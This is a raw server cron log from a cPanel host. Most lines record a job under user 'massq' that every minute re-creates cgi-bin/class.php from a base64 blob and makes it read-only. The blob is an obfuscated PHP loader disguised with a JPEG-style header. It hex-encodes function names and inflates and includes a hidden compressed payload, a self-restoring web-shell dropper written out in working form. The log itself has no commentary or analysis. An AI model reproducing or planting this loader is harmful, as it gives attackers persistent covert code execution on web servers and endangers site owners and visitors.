Nov 10 08:05:01 server CROND[20932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:05:01 server CROND[20936]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 08:06:01 server CROND[21812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:07:01 server CROND[22619]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:08:01 server CROND[23447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:09:01 server CROND[24275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:09:01 server CROND[24276]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 08:10:01 server CROND[25016]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:10:01 server CROND[25017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:10:01 server CROND[25018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:10:01 server CROND[25019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:11:01 server CROND[25507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:12:01 server CROND[26322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:12:01 server CROND[26323]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 08:13:01 server CROND[27138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:14:01 server CROND[27955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:15:01 server CROND[28769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:15:01 server CROND[28770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:15:01 server CROND[28771]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:15:01 server CROND[28772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:16:01 server CROND[29695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:17:01 server CROND[30371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
